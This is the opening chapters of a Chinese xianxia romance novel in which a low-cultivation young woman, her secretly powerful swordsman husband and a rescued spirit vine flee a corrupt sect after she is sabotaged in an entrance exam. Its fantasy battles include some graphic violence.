《夫君每天都要双修》
1. 昭明神君
今日是百木门选拔外门弟子的大日子,山道上随处可见赶来应试的散修,简直比过年还要热闹。
百木门是人间三大宗门之一,内部分为两个流派:丹修和兽修,这都是云棠十分向往的修炼门道。
“刀剑太重了,我拿不动……”云棠小声说,“我只想采草药、养灵宠……可是,夫君,我修为这么低,当真能通过初试吗?”
她的夫君名叫江千寒,与她成婚刚满一年。
江千寒是剑修,修为极高,具体高到什么境界,云棠也说不清楚。
她从没见他认真出过手。
他一路护送她来到百木门,路上也并不太平,遇到了不少鬼怪邪祟,他连剑都懒得拔,仅凭剑气便叫它们魂飞魄散了。
他出招太快,她甚至察觉不到他何时动的手,只觉得一缕清风拂过面颊,再看时,前路已是一片开阔,半点邪气都不剩了。
她忍不住仰起头看他。
他身量极高,颀长挺拔,腰间挂着一把银纹重剑,剑未出鞘,自有一股强悍威势。
他的相貌也是十分英俊,她从没见过比他更好看的男人。
她和他成婚一年了,每天早晨起床以后,在晨光中望见他,心里竟然还会生出几分像是在做梦般的不真实感。
周围人来人往,吵闹声时断时续,一步步登阶而上的修士们侧过头偷瞥他,又慌忙移开目光,像是多看一眼便要担心冒犯了他似的。
“夫君?”云棠又喊了他一声。
“能不能过,去了才知道,”江千寒牵住她的手,“走吧。”
云棠点头:“嗯嗯。”
江千寒的手掌宽厚而温热,手指修长,骨节强健,将她的手严严实实地包裹起来,密不透风。
她忽然就没那么害怕了,心情放松了不少,悄悄捏了捏他的手指,又在他掌心挠了挠,只见他手背上凸起几条青筋,她赶紧扭过头,假装自己什么都没看见,嘴上随口说:“反正我修为低,考砸了也很正常。”
江千寒握住她的腰肢,把她往怀里一搂,低声在她耳边说:“不必为这种小事发愁,修为低一点也没关系,日子还长,你可以慢慢修炼,练不好也不要紧,不是还有我么?这个百木门也不是什么非去不可的地方。”
“你看不上百木门吗?”云棠很好奇。
“你安心考试,等你考完了,我再告诉你。”江千寒松手放开了她。
云棠不知道江千寒心里在想什么,他总是这样,神神秘秘的,好像什么都知道,世间一切都瞒不过他的双眼。
哦,对了!她忽然想起来,江千寒曾经说过,他是仙界凌苍剑宗的弟子。
凌苍剑宗,那可是仙界第一大宗门,门槛比百木门高了不知多少倍,这样想来,他看不上百木门倒也不奇怪。
通向百木门正门的石阶好长啊,走着走着,云棠有点累了,肚子也有点饿了。
她扯了扯江千寒的袖子:“夫君,山下那个小镇……有一条小吃街,我考完试以后,想吃小笼包、炸春卷,还有桂花酒酿……”
江千寒拉过她的左手,将袖子往上拢了拢,露出一截雪白手腕,腕上戴着一只玉镯,莹润通透,是他送她的护身玉镯。
他低头查看了一遍玉镯上的纹路,才答应道:“我把你送进考场,就去镇上买吃的,你考完从东门出来,我在门口等你。”
云棠高兴极了:“嗯嗯,夫君,多给我买点酒酿,我喜欢吃甜的!”
她一鼓作气,蹬蹬蹬冲上了最后几级台阶。
仰头一看,左右两侧各有一扇数丈高的青石大门,门楣上刻着“百木门”三个大字,笔锋飘逸,似有一股灵气在字形之间流转。
门前古木参天,枝叶繁茂,斑驳树影落在石阶上,透着丝丝凉意,几个身穿素白道袍的年轻弟子站在门前,道袍上绣着细密的卷草纹,随风轻轻浮动。
云棠听说过百木门的规矩,修为达到第二层的弟子就能穿上卷草纹素白道袍,第三层是葫芦纹碧绿道袍,第四层是茶花纹深红道袍,再往上是什么,她就不知道了。
修士的修为等级分为十层,每一层又分为十段,每升一段都是非常困难的。
云棠如今的修为还是第一层第四段,什么时候才能升入第二层呢?她不敢奢望。
“夫君,你的境界,到底是第几层?”云棠转身看着江千寒,“是第九层吗?”
“不是。”江千寒实话实说。
“难道是第十层?”云棠有些害怕了。
“也不是。”江千寒立即否认。
云棠松了一口气,不是第九层,也不是第十层,那应该还在她能理解的范围之内。虽然江千寒的修为比她高了许多,至少没高到吓人的地步。
百木门的守门弟子高声道:“应试者,每人必须缴纳十枚灵石,先交钱,后入场!”
江千寒取出十枚灵石递了过去,替云棠报上了名。
云棠接过一块木牌,握在手心里,对他笑了笑:“夫君,初试半个时辰就结束了,东门见!”
她转身跑进了门内,跑出去几步,又回头看了一眼,江千寒还站在那棵古树下,沉默地望着她。
江千寒还在担心她吗?怕她考砸了,会把头埋在他怀里,哇哇大哭吗?
才不会呢。
我一定会争气的!云棠在心里为自己打气。
她报名参加了丹修的入门选拔,初试题目一点也不难,只要在一只小丹炉里炼出一枚清心丸就算通过了。
清心丸是低阶灵药,材料简单,制作也不复杂,云棠在家里练过许多回了。
午时一刻,考试正式开始。
考场是一座宽敞的高台大殿,四面无墙,数十根巨大石柱撑起了穹顶。
凛冽山风灌进来,吹得衣袍猎猎作响,白雾在空气中流动,一时竟分不清自己是坐在殿中,还是飘在半空。
云棠打起十二万分的精神,端起桌上的小丹炉,开始炼制清心丸。
她双手结印,把自己的灵力化作灵火,点燃了丹炉里的木炭。
她仔细处理每一味药材,放入炉中,清淡药香一点一点溢出来,清心丸正在慢慢成形,再过几个瞬息,这一枚清心丸就能出炉了。
她连忙把自己的衣袖高高撩起,双手握住一只铁夹子,正要把清心丸夹出来,就在这时,丹炉表面忽然浮起一道细纹。
还没等她反应过来,细纹一条又一条蔓延开了,蛛网般密密麻麻,爬满了整只丹炉。
云棠惊呆了:“怎么会这样?”
“砰”的一声巨响,丹炉爆炸了!
火花飞溅,烟尘四散,那一枚清心丸也炸得粉碎。
云棠手上的护身玉镯光芒一闪,瞬间结成一道透明结界,把所有碎屑压到了桌上,云棠毫发无伤,近旁的考生也毫发无伤,他们直勾勾地盯着云棠。
身穿一袭茶花纹深红道袍的监考人走上前来,低头看了一眼她桌上的号牌,高声道:“丹修初试,考生云棠,不合格,立即退场。”
云棠呆呆地坐在原处,脑子里嗡嗡作响。她明明每一步都没做错,为什么丹炉会爆炸呢?
她做的是清心丸,又不是炸药包。
众多考生的目光像针一样刺人,云棠的脸颊烧得通红,还是不明白刚才发生了什么,到底是哪里做错了呢?怎么想也想不通,她慢慢站起来,收拾好自己的东西,迷迷糊糊走出了考场。
脚步虚浮,像是踩在云上,走过长廊,穿过校场,她脑中仍是一片空白,恍恍惚惚飘到了东门外。
江千寒已经在等她了。
云棠哭着跑过去,把脸埋进他怀里,委屈得不得了:“丹炉炸了……”
“受伤了吗?”江千寒揽住她的后背,只问了这一
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句话。
“没有,”她并未哭出声,眼泪还是止不住地流,“我真的已经很努力了……”
“我知道,”他轻拍她的后背,像是在哄小孩子一样,“回家吧,我买了很多零食,可以在路上吃。”
“嗯……”云棠含糊地答应了。
“跟我走,小棠,”江千寒收手抱紧她,低声念出一句口诀,“山川地界,百里瞬移。”
风声忽起,云棠还没睁眼,只觉得光影从脸上迅速掠过,她的双脚也悬空了。“百里瞬移”这个口诀,以前也听他用过,能在一瞬间抵达百里之内任何一个地方,多危险啊,千万不能从他身上掉下去了。
她紧紧地贴着他,眼泪把他的衣襟沾湿了一小块,她有点不好意思:“今天……我本来不想哭的……”
江千寒抬手擦干她脸上的泪痕,抱着她站定,周围涌入了嘈杂的吆喝声,脚下不再是冰冷平整的石阶,而是一条凹凸不平的青石板路。
长街两侧挤满了店铺,卖丹药的、卖灵符的、卖汤圆的,热闹非凡,炊烟一缕一缕飘过来,夹杂着饭菜香气,馋得人走不动路,云棠这才想起来自己的肚子真的很饿了。
江千寒牵着她拐进一条小巷,推开了一座茶馆的大门,掌柜一见他们进来便迎上前,躬身引路,将二人送进了临窗一间包厢。
桌上已经摆好了满满一桌菜,掌柜殷勤得很,一样一样地介绍:“这是小店最好的乌龙茶,桂花酒酿,蟹黄小笼包,炸春卷、卤牛肉……都是按照这位公子先前的吩咐备下的,厨房里还热着几道点心,二位贵客请慢用。”
说完这些话,掌柜快步离开了,云棠愣了一下,看向江千寒。
江千寒给她倒了一杯茶,她喝了一口茶水,又吃了几个小笼包、半盘卤牛肉,喝了一碗桂花酒酿,味道真好啊,肚子不饿了,心里也没那么委屈了。
她咬下一小块炸春卷,边嚼边说:“真好吃,谢谢……”
“夫妻之间,何必这么客气。”江千寒端起她的茶杯,喝她剩下的茶水。
她脸颊一红,眼神也不自觉地四处乱飘,窗外的长街更热闹了,锣鼓喧天,鞭炮齐鸣,一支迎神仪仗正从街头浩浩荡荡地行来,打头的是九面赤金幡旗,第一面旗子上,以朱砂书写四列大字:“昭明神君,执剑镇妖魔,功盖三界,恩泽庇苍生。”
昭明神君的名号,云棠当然也听说过,他是仙界第一战神,八年前,在仙魔大战之中,他以一人之力,斩杀了魔尊之子,铲除了魔尊座下四大将领,他救下的人命何止百万条?民间感念他的恩德,尊称他为“昭明神君”,九州各地的繁华城镇都为他修建了神庙,香火鼎盛,终年不绝。
每年上巳节,各地百姓便会抬出赤金幡旗巡游街市,迎神祈福。
据说,“昭明神君”这四个字本身便能辟邪驱魔,因此,上巳节庙会总是格外热闹,远近乡镇的百姓都会赶来拜神。
街上忽然有人扯着嗓子大喊:“神君在上,保佑我求得一门好姻缘!”
话音未落,又有人挤上前去:“保佑我家小儿金榜题名!”
云棠听明白了,求姻缘的,求功名的,还有好几个求子的。
她很疑惑:“昭明神君真的会帮他们实现愿望吗?”
江千寒却说:“他才懒得管这些事。”
“你怎么知道?”云棠眨了眨眼睛,“难道你认识昭明神君吗?”
江千寒竟然回答:“见过几面。”
云棠连忙追问:“在哪里见过?”
江千寒盯着她的双眼:“照镜子的时候。”
云棠惊讶地放下了饭碗,这一瞬间,她忘记了呼吸,双眼睁得又圆又大。
江千寒忽然笑出了声,他平日里极少笑,这一笑之间,云棠神魂恍惚,又猛然反应过来,他根本就是在逗她玩!
她恼怒道:“不许耍我。”
2. 木灵藤
江千寒没再说话,他的目光落在窗外,唇边似有一丝笑意。
云棠还在想,如果他真是昭明神君,那他为什么不回天界,还要留在人间陪她过这种柴米油盐的日子?
何况他一向如此,无论真话假话,全都用一个语气说,她早就分不清了。
云棠越想越烦,索性不想了,低头把最后一只春卷塞进了嘴里。
“吃饱了。”云棠放下筷子,长舒一口气。
江千寒牵着她走出茶馆,阳光正好,迎神巡游的队伍已经走远了,还能听见远处传来的锣鼓声。
当晚,他们住进了镇上一家客栈,天字一号房,是一座独门别院。院中有一方小池塘,水波澄澈,池畔几株红梅开得正盛,香气幽幽地飘进屋里,令人心旷神怡。
云棠沐浴过后,懒洋洋躺在床上,困意涌来,她连眼睛都睁不开了。
窗台前摆着一盏烛灯,光影浮动,透过纱帐照在她脸上。
窗扇似乎没有合严,夜风顺着缝隙吹进来,凉丝丝的,不知是花香还是他身上的清淡气息,那么好闻,她索性将额头抵在他的胸膛上:“夫君……”
江千寒像平常一样抱着她,隔着一层单薄纱衣,她仍能感觉到,他的肌肉都是精壮结实的,当他收紧手臂,她一动也动不了。
“睡吧。”他说。
话音刚落,烛光灭了。
他掌心火热,紧贴她的后背。
床榻之上,隆冬十二月的寒气早已散尽了。
云棠把脸往他怀里又埋了埋,耳朵刚好压在他心口上,听见一下一下的心跳声,沉稳有力,仿佛只要这声音还在,世间所有烦恼喧嚣都与她无关了,听着听着,便睡着了。
子时一刻,夜色漆黑。
江千寒睁开双眼,伸手轻抚云棠的脸颊。
她翻了个身,从他怀里滚出去了,抱着一角被褥,蜷缩在木床内侧,睡得正沉。
江千寒起身下床,随手设下一道金光结界,隔绝了屋外一切声息。
他跨过门槛,走入院中,门廊上灯笼轻晃,他听见了远处三人的脚步声。
其中一人轻声道:“错不了,就是这里,那对夫妻就住在天字一号房……冯执事,可要点燃迷魂香?”
另一人有些犹豫:“那剑修看起来不好惹啊……”
冯执事嗤之以鼻:“一个野路子剑修,能强到哪里去?不过是仗着一身蛮力,耍耍威风罢了。”
他从袖子里取出一枚黑色香丸:“别用迷魂香,用五毒香,此香一燃,铁打的筋骨也要化成一摊烂泥,那剑修就算有几分本事,吸上三息便是废人一个。”
身旁那人嘿嘿一笑:“剑修死了也就死了,可那小娘子真是娇美动人,就这么杀了,太可惜了。”
另一人也笑道:“先留她一口气,把她抓回去,好好享用几天,看看她身上还藏了多少本事。”
冯执事脚步一顿: “也行,反正是个废物,多受些苦再上路,也算给咱们添个乐子……”
这话说完,无人回应。
梅花香气全然消失,只剩下浓重的血腥味。
冯执事侧目一看,自己身边那两人已被砍成了几截,尸块七零八落散在地上。
这二人在死前遭受了极大痛苦,眼球血淋淋的,凸出了眼眶,指甲也像钉子一样嵌入掌心,就连胳膊上的血管都爆开了。
地砖上的血还是热的,沿着砖缝,朝他脚下淌过来。
冯执事转身就跑,一道无形的屏障挡住了去路,他一头撞了上去,闷响一声,竟然被弹回原地。
“冯执事?”江千寒站在他面前,语气很平淡,像是在叫一个普通路人的名字。
冯执事面色一变,袖袍猛然一挥,五指收拢,口中暴喝一声:“毒针,万箭穿心,去!”
万千毒针从他袖中激射而出,密如细雨,直冲向江千寒的咽喉要害,带起一阵刺耳的破风声。
短短一眨眼之间,那些毒针全部融化了,连半点声息都没发出,消散得干干净净。
冯执事双腿一软,当即跪了下去:“好汉饶命!饶命!!我一时鬼迷心窍,并非有意冒犯尊夫人……”
江千寒打断了他的话:“今日丹修初试,你在考场上做了手脚。”
江千寒已经给他定罪了。
冯执事额头上冒出冷汗,牙齿也在打颤,膝行着往后退了半步,腰杆弯得更低:“白天在考场上,小人……小人看见尊夫人腕上的玉镯是一件极品法宝,一时起了贪念,炸了她的丹炉,原本打算趁乱取走镯子,不料法宝自行结成了护盾,没能得手……夜里便想再来碰碰运气,只、只是想偷镯子,绝对没有伤人之意!”
他拼命磕头,额头砸在地砖上,咚咚作响:“好汉明鉴,小人一时财迷心窍,绝没有谋害尊夫人性命!求好汉开恩……”
“你方才说,”江千寒低头看着他,“多受些苦再上路?”
冯执事的额头上青筋暴起,显然已经猜到了,江千寒还没杀他,并不是要留他一命,而是要慢慢折磨他,叫他死得更痛苦。
人害怕到了极致,反而不怕了,不知哪来的勇气,冯执事咬着牙站了起来:“我名叫冯庆全,百木门赤头峰峰主闻人照的亲传弟子,我师父修为第七层第三段,门下弟子三百余人!你敢动我一根手指头,我师父必定杀光你全家老小!!”
冯庆全喊出一声狂笑,看似疯癫,背在身后的十指却在急速施法。
砖缝里钻出几条藤蔓,每一条都有碗口粗,枝干上挂着一层汁液,浑浊,粘稠,还带着一股血腥气,那汁液滴落在石砖上,立即烧起一股青烟,坚硬的石砖被腐蚀出了几个坑洞。
“杀!”冯庆全双手一甩,指向江千寒。
江千寒纹丝不动,甚至有点不耐烦了:“雕虫小技。”
那几条藤蔓突然调转了方向,绕了一个小圈,把冯庆全连同地上那几截尸块一并包裹了起来。
冯庆全拼命挣扎,袖袍里的东西哗啦啦掉了一地,玉佩、宝扇、丹药、仙符,全是从散修身上搜刮来的法宝,每一件都能卖到三百灵石以上。
江千寒根本不在乎这些东西。
他转身走下台阶,背影消失在回廊尽头。
冯庆全想喊救命,嗓子却被藤蔓勒得死死的,连一个字都吐不出来。他的身体浸泡在粘液之中,缓慢融化,藤蔓越缠越紧,将他一寸一寸拖入地下。
月影西沉,朝阳初升。
清晨时分,云棠起床了。
她伸了个懒腰,透过窗户一看,梅花开得更盛了,树根底下的泥土……好像比昨天高出了一截?
云棠茫然地问:“昨天晚上,店小二给院子里的梅花添土了吗?”
“半夜来的,”江千寒正坐在床边看书,翻过一页,才说,“施了点肥。”
云棠半信半疑:“真的吗?”
江千寒把书扔到一旁,搂着云棠坐在窗前,轻扣了一下窗台,屋外花坛里的泥土微微鼓起,一根碧绿色的藤蔓悄悄钻了出来。
它探头探脑的,像一条刚睡醒的小蛇,小心翼翼地游过来,游到窗下又停了一停,似乎在辨认气味。
过了片刻,它才慢慢攀上窗
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台,枝干上一片片绿叶舒展开来,它又扭了几下,让云棠看清它的全貌,真是一副非常乖巧的样子。
“昨晚我意外发现了这一株植物,”江千寒解释道,“你不是一直想要一只灵宠吗,你看它如何?”
云棠双手扶住了窗台,双眼一亮,她当然认识,这是一株木灵藤。
木灵藤是十分罕见的草木灵宠,上限极高,平时和普通藤蔓差不多,一旦受到威胁,或是情绪激动,全身会瞬间分泌出大量粘液,吞噬一切血肉。
灵宠等级分为一到十阶,每一阶又分为上、中、下三品,眼前这一株木灵藤,灵气内敛,气息沉稳,至少在二阶中品以上,不像是野生的。
云棠问:“它没有主人吗?”
“没认过主,”江千寒说,“一直被术法强行操控,本来只剩不到三年的寿命,挺可怜的。”
云棠这才注意到,它的枝干上布满了密密麻麻的细小针眼,有些已经结了痂,有些还渗着青色汁液,尚未愈合。
并非所有灵兽都愿意认主,所以,御兽术的一个分支就是“傀儡术”,用术法强行操控灵兽的神魂,灵兽虽然听话,寿命却会大大缩短,活不到五年。
它好像也察觉到了云棠看它的目光中充满了怜悯,所有叶子全缩起来了,枝干蜷曲,把自己团成小小一个球,搭在窗台边上,伤心得一抽一抽的,像是在哭。
云棠心里其实更喜欢毛绒绒的灵宠,甚至想过,哪怕是个小兔子、小松鼠什么的,她都愿意养。
可这一路走来,不知道是不是她运气太差了,连一根灵兽的毛都没见过。
这一株木灵藤完全不是毛绒绒,但它好可怜。
云棠心软了。
她抬起双手,指尖凝聚灵力,掌心浮出一团柔和的白光。
木灵藤怯生生地探出了两根细小藤蔓,顶端轻轻碰了碰云棠的掌心,生怕她反悔似的,缠住了她的指尖。
云棠闭上双眼,低声念道:“血脉相连,魂梦相依,从今往后,生死与共,此契既成,风雨同路。”
木灵藤的等级是第二阶中品,又受了伤,灵力大减,而且,它对云棠的喜爱发自内心,在结契过程中,没有一丝不服气,以云棠第一层第四段的修为,竟然顺利和它结契成功了。
那白光融入了木灵藤的每一片绿叶,云棠第一次感受到了主人与灵宠之间的联系。
它很开心,挂在窗台上一蹦一跳,使劲蹭了蹭云棠的衣袖,各种示好,甚至把自己昨晚的记忆传入了云棠的脑海之中。
云棠看见了昨晚的院子。
月色之下,三个歹徒潜入回廊,正要点燃毒烟,其中两个都被江千寒砍成了几截,后来,藤蔓破土而出,缠住了那三人,完全融化了他们的血肉。
云棠吓了一跳,脸色也变白了。
江千寒立即扶住她:“怎么了?”
云棠低下头,思考了一会儿,她本就胆小,越想越害怕。
虽然江千寒法力高深,但是……但是,那可是百木门赤头峰啊!
百木门共有七十二峰,赤头峰的名声也很响亮,现在她夫君杀了赤头峰三个弟子,自己又抢了赤头峰的木灵藤,就算那三个弟子作恶多端,人家赤头峰会跟云棠讲道理吗?
看他们的名字就知道了,赤头峰,赤头,赤头,八成会把她的头砍下来,鲜血淋漓的,可不就是赤头了吗?!
此时不跑,更待何时?
“我……我没事!”云棠跳下床,抱起行囊,立即开始收拾东西,“夫君,我们早点动身吧,趁着天色还没大亮,赶紧上路。”
3. 追杀
辰时刚过,云棠和江千寒已经离开了客栈,连早饭都没来得及吃。
云棠买了几个刚出炉的煎饺,用油纸装好,揣在怀里,急匆匆地上路了。
木灵藤化作了一根青色枝条,缠在她的手腕上。
认主之后,它完全摆脱了傀儡术,灵力提升了不少,心情变得更好了,碧绿叶片一晃一晃的。
云棠长叹一声,低头对它说:“以后你的大名就叫‘青平川’,小名小青,好吗?”
小青听懂了似的,在她腕上又多缠了一圈,叶尖轻轻蹭了蹭她的掌心,粘人得很。
路过一间药铺时,云棠停下脚步。她掏出几颗灵石,买了一把草药,摊在手上,让小青自己挑选。
小青的藤蔓灵活地拨了拨,挑出党参、黄芪、三七,卷起来塞进自己的枝叶间,吞食下去。
药气入体,它枝干上那些密密麻麻的针眼愈合了大半,连叶片的颜色都鲜亮了几分。
“过几天就好了,”江千寒站在她身侧,“灵气复原之后它会自愈,不必再喂药草。”
“我知道,”云棠小声说,“它这么乖,这么可怜……我想对它好一点。”
早市已开,街道两边热闹起来,各家店铺的伙计们正忙着搬运货物,长街尽头传来一阵杂乱的脚步声。
云棠抬头望去,一队身穿素白道袍的百木门弟子拦住了几个行人,正在盘问他们。
云棠拉着江千寒拐进一条小巷,正好碰见一个店主人收摊关门,她快步上前:“打扰了,请问,您知不知道,街上出什么事了?”
那店主人瞥了她一眼,摆了摆手,不肯多说一个字。
江千寒缓步走了过来。
店主人抬头,对上江千寒的目光,愣了一瞬,脸上的不耐烦忽然就没了,只剩一个硬挤出来的笑容。
他不自觉地后退了半步,脊背撞上门板,干笑了一声,压低嗓门道:“听、听说昨晚百木门有几个弟子失踪了,灵宠也丢了一只,百木门正在四处搜查……二位要是没什么要紧事,趁早出镇吧。”
说完,“啪”的一声关上了大门。
“太可怕了,夫君,全镇戒严了,我们一定要尽快离开。”云棠攥紧江千寒的衣袖,拉着他走上了一条近路。
半个时辰后,他们已经走到了距离山镇二十里之外的荒原上。
此处杂草丛生,一直蔓延到天边,一眼望不到尽头。
长风从耳畔掠过,呼啸作响。
云棠仰头望天,广阔天空是湛蓝色的,一朵又一朵的白云随风漂浮,传说中的仙界又在什么地方呢?
江千寒的声音打断了她的思绪:“你的心跳加快了。”
云棠自言自语:“我快要吓死了。”
江千寒一把抓住了她的左手:“有什么好怕的?”
云棠抿紧了嘴唇,心里有些话,思考来,思考去,总也问不出口。
如果江千寒真是昭明神君,仙界的顶尖高手也不止他一个人吧?
而且,他在人间至少三年了,仙界为什么还不派人来接他回去呢?
百木门毕竟是人间三大宗门之一,万一事情闹大了,惊动了仙界,又会有什么后果?
她最怕的是,终有一日,仙界召他回去,她就再也见不到他了。
她修为低,飞不了,追不上,连他去了哪里都不知道。
这么一想,云棠又急又怕,双眼有些湿润,泪水还没落下去,她使劲忍着,嗓音已经含糊了:“你不明白……我不想和你分开……”
江千寒低声回答:“我当然明白。”
江千寒低下头,把她的左手举到唇边,吻了吻她的指尖。
她的食指上戴着一枚白玉戒指,内壁上刻着五个字“赠爱妻云棠”。
也是他送她的。
云棠刚要说话,又听见了一声巨响。
远处的山镇上空,不知何时亮起了一座巨大法阵,以山镇为中心,向四面八方铺展开来,阵纹一圈套着一圈,催生出金色符文,每隔数丈,就有一根光柱立起来,直冲天际。
那法阵还在扩张。
法阵的光芒所到之处,草木飞沙都被照得纤毫毕现,无处躲藏。
那是搜灵阵,可以锁定方圆千里之内的灵宠气息。
云棠的手腕上,小青的叶片忽然蜷缩了一下。
云棠颤声道:“明明只是一株木灵藤而已,用得着这么大的阵仗吗?”
她把小青拉直了,仔细观察:“难道你不是普通的木灵藤吗?”
江千寒看了一眼光芒万丈的法阵:“我记得,你还想要一只长毛的灵宠。”
“我更想活下来!”云棠拉住他的衣袖,拽着他一路狂奔,“他们在用搜灵阵追踪小青,我们快跑!”
可惜太迟了。
“铮”的一声,剑鸣划破长空,紧接着是第二声、第三声,金铁之音接连不断,刀剑迸射的寒光照亮了原野。
八道身影迅速飞过来,每人身上都穿着一件深红道袍,落地的一瞬间,便将云棠和江千寒围在了正中央。
八柄飞剑悬在半空,剑尖朝内,剑阵已成。
云棠还想和他们讲道理:“等一下,先别动手,有话好好说,不行吗?”
无人回答她。
云棠吓得躲到了江千寒背后。
那八个人连一句警告都没说,周身涌动着一股强烈杀气。
“八剑阵,杀!!”
飞剑齐动,从八个方向猛然刺来。
江千寒抬起左手,只念了一句口诀:“八剑阵,原路返回。”
八柄长剑剑锋一转,刺向自己的主人。
八道身影,连一声惨叫都没来得及发出,便在剑光中化为烟尘,被风一吹,散落在空旷草野上。
云棠茫然地站在原地。
她张了张嘴,想说话,什么也说不出来。
她一开始只想逃跑,跑得远远的,离百木门越远越好,可是,百木门连跑都不让她跑。
修仙世界的弱肉强食,竟是如此惨烈,活生生的人,眨眼之间就没了。
而且事情不会到此为止,还会有更多的人来,更强的人来。
她把小青从手腕上解开,捧在掌心里:“小青,我帮你解除契约吧……解契之后,你就是野生灵植了,气息混在草木里,搜灵阵也追不到你,你找个没人的深山躲起来,好好活着,不要再被坏人抓去做傀儡了。”
小青使劲摇晃着藤蔓,叶片抽打着她的手指,拒绝得干脆又激烈。
云棠严肃又认真:“听话,你跟着我,太危险了……”
小青顺着她的手指爬过去,重新缠回了她的手腕上,缠得比之前更紧,绿叶一片片舒展开来,高高兴兴的,一点也不害怕。
云棠觉得它可能是疯
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了。
这么要紧的关头,云棠艰难地吞咽了一点口水,忽然又觉得肚子饿了。
她这才想起来,自己没吃早饭。
江千寒从她的背包里翻出了一袋煎饺,还有一支竹筒,里面装着她最爱喝的桂花糯米酒。
云棠哪敢在这个时候吃东西?
她随便找了个理由:“这荒郊野岭的……连张桌子都没有,怎么坐下来吃饭啊。”
江千寒指尖一动,一道金光横空掠出,劈开了近旁一块山石,那石头的表面光滑平整,没有一丝毛刺,就连边角都是圆润的。
云棠真不知道,江千寒是怎么切的石头?竟然把一块嶙峋的山石切出了玉石般的温润质地。
江千寒又从巴掌大的储物袋中取出一张锦缎,抖开,铺在石面上。
缎面流光溢彩,约有半寸厚,摸起来软绵绵、光溜溜,不沾灰尘。
这是仙界天蚕丝织成的锦缎,云棠平时也没少用,都是按照尺寸裁剪好了,当衣服穿,从来没把它铺在石头上。
江千寒抬手,在缎面上拍了拍:“过来,小棠,坐着吃饭吧。”
云棠实在找不出第二个理由拒绝他了。
她坐下来,捧着煎饺,一小口一小口慢慢吃着。
远处的搜灵阵还在天边旋转,符文渐渐变成了血红色,挂在法阵之中,上下漂浮。
不过,煎饺还是热的,糯米酒是甜的,云棠吃得挺香的,把糯米酒全喝完了。
她觉得自己可能也疯了。
江千寒又找到了一盒绿豆糕,随手摆在她面前,她把纸袋递给江千寒:“夫君,你也吃一点吧。”
袋子里一共有九个煎饺,云棠只吃了三个,剩下六个都留给江千寒了。
他待会儿还要打架,云棠怕他体力消耗太大,到时候肚子饿了怎么办呢?
江千寒好像猜到了她的心思,又把她的双手抓过来,让她喂他吃煎饺。
她连连点头:“嗯嗯,我来喂你,这样你可以省点力气,待会儿打架更有劲。”
江千寒咬了一口煎饺,嚼了几下,吞咽下去,忽然问她:“你觉得我打架靠的是力气?”
云棠又捏起一只,递到他嘴边:“不管你靠的是什么,你先吃饱了,才会有劲啊。”
江千寒把她送来的煎饺全吃完了。
她手上沾了点油星,正要往衣服上擦,江千寒已经握住了她的手腕,将她指尖上的油渍一点点舔净,像是在做一件再平常不过的事。
她的手掌一阵酥麻,腰肢一软,不由自主地倒在他身上,“夫君”两个字还没叫出口,四周光线变弱了,天空一瞬间暗淡了许多。
她抬起头,看见远处飞来黑压压一群人,密密麻麻,少说也有一两百人,脚踏飞剑,破空而行,剑风如同旋风一般翻卷,原野上的草木已然伏倒了。
为首之人身穿牡丹纹深紫道袍,面容削瘦,颧骨极高,一双三角眼中精光毕露,嘴唇紧抿成一条线,两鬓斑白却梳得一丝不苟。
他身边还跟着一只三头巨鸟,浑身长满了深褐色羽毛,在地上投下一片几丈宽的阴影,那三颗鸟头高高昂起,六只眼睛同时盯紧了云棠,鸟喙比金石更锋利。
云棠早就听说了,百木门赤头峰的峰主名叫闻人照,修为第七层第三段,是百木门排名前列的高手。
“完蛋了。”云棠把脸埋进了江千寒怀里。
4. 日月同辉
闻人照双袖一挥,落在十丈开外。
上百个赤头峰弟子从天而降,全部落在他身后,分成两列站定,每个人手上都拿着法器,神色冷肃,不发出一点声响。
云棠转过头,偷瞥了闻人照一眼,他正盯着江千寒,似乎还在探查江千寒的法力到底有多强。
“阁下好手段,”闻人照双手背后,声音洪亮,“连杀我赤头峰十一名弟子,又抢走了我苦心培育的灵宠,不知阁下是哪一宗哪一派的高人,可否报上名号?”
江千寒没有回答他,只是轻轻拍了拍云棠的后背:“别怕。”
闻人照深吸一口气,又说:“那一株木灵藤是我赤头峰的宝物,我亲手把它寻来,悉心培育了整整两年,还请阁下物归原主。”
小青已经在云棠手腕上缩起来了,叶片微微发抖。它刚才还是一副高高兴兴的样子,现在,听见闻人照的声音,它吓得连藤蔓都伸不直了。
云棠不该在这个时候开口说话。
可她忍不住了。
她轻声问:“悉心培育,是什么意思?你根本没有好好照顾它,它也不是你找到的,它本来是野生的,活得自由自在,你把它抓回百木门,扎得它全身上下都是针眼,你一直在用傀儡术折磨它,它有灵智,它会疼的。”
闻人照看了她一眼,不怒反笑:“姑娘心善,这是好事,只是姑娘有所不知,那不是普通的木灵藤,是万中无一的‘不死藤’,它死后还能重生,全天下仅此一株。傀儡术虽然委屈了它,却能保全它的性命,‘不死藤’若是流落在外,江湖上会有多少人觊觎它?”
云棠终于明白了他的意思。
他用傀儡术操纵小青,囚禁它,折磨它,让它记住自己的气息,等它死后重生,再一次从泥土中探出一点嫩芽,它神识未开,混沌懵懂,只会遵循幼苗的天性,朝着自己最熟悉的人靠拢,心甘情愿认他为主。
难怪它的灵力只有第二阶。
闻人照一定压制了它的灵力生长,灵力越低,越好控制。
云棠咽不下这口气。
不仅仅是因为小青。
云棠攥紧了拳头:“还有你的弟子冯庆全,他在考场上炸了我的丹炉,晚上又来杀人夺宝,你知道他手上沾了多少条人命吗?他袖子里掉出来一百多件法宝,每一件都是从别人身上抢来的,你身为峰主,怎么也不管管?”
“冯庆全偷走了我的灵宠,我本就打算……”话没说完,闻人照脸色一变,死死盯着云棠的手腕。
那一株木灵藤的枝干上,伤口已经完全愈合,认主之后,它的灵力大大提高,也能飞快自愈了。
“你……”闻人照勃然大怒,“你让它认主了?!”
云棠立即把手腕藏到身后。
“没事,”江千寒又把她的手放回原位,“让他看,气死他。”
云棠还有些担心:“不能真的把他气死吧?”
“他对我们早已动了杀心。”江千寒握住了她的五指。
云棠的心神又有些恍惚了。
闻人照仔细打量云棠,神色更难看了,像是活吞了一只苍蝇:“你的修为,还是第一层?”
他冷笑道:“第一层,第四段,距离第二层还遥遥无期,刚入门的黄毛小儿都比你强。”
云棠本来是很畏惧百木门的。
可是,闻人照这样当众羞辱她,毫不在乎他的弟子深夜来客栈暗杀她,还要把小青抓回赤头峰继续折磨,她心口烧起一股怒火,全然超过了恐惧。
她也大声说:“那是因为我只有十九岁!你这个老头,比我大多少岁,还要和我比修为!”
